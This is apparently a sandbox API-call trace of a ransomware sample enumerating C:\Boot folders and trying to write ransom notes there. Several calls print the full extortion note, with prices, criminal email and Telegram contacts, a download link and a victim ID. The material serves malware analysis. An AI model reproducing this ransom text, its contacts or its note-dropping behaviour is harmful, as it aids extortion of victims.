ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.723] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.723] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.723] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.723] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.723] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0116.724] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.724] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.724] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.724] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.727] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.728] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.728] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.728] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.728] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.728] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0116.728] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.728] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.728] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.728] PathFindFileNameW (pszPath="") returned="" [0116.728] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.728] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.728] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.728] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.728] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.728] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.728] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.728] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0116.728] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0116.729] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.729] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.729] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.729] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.729] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.729] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.729] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.729] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 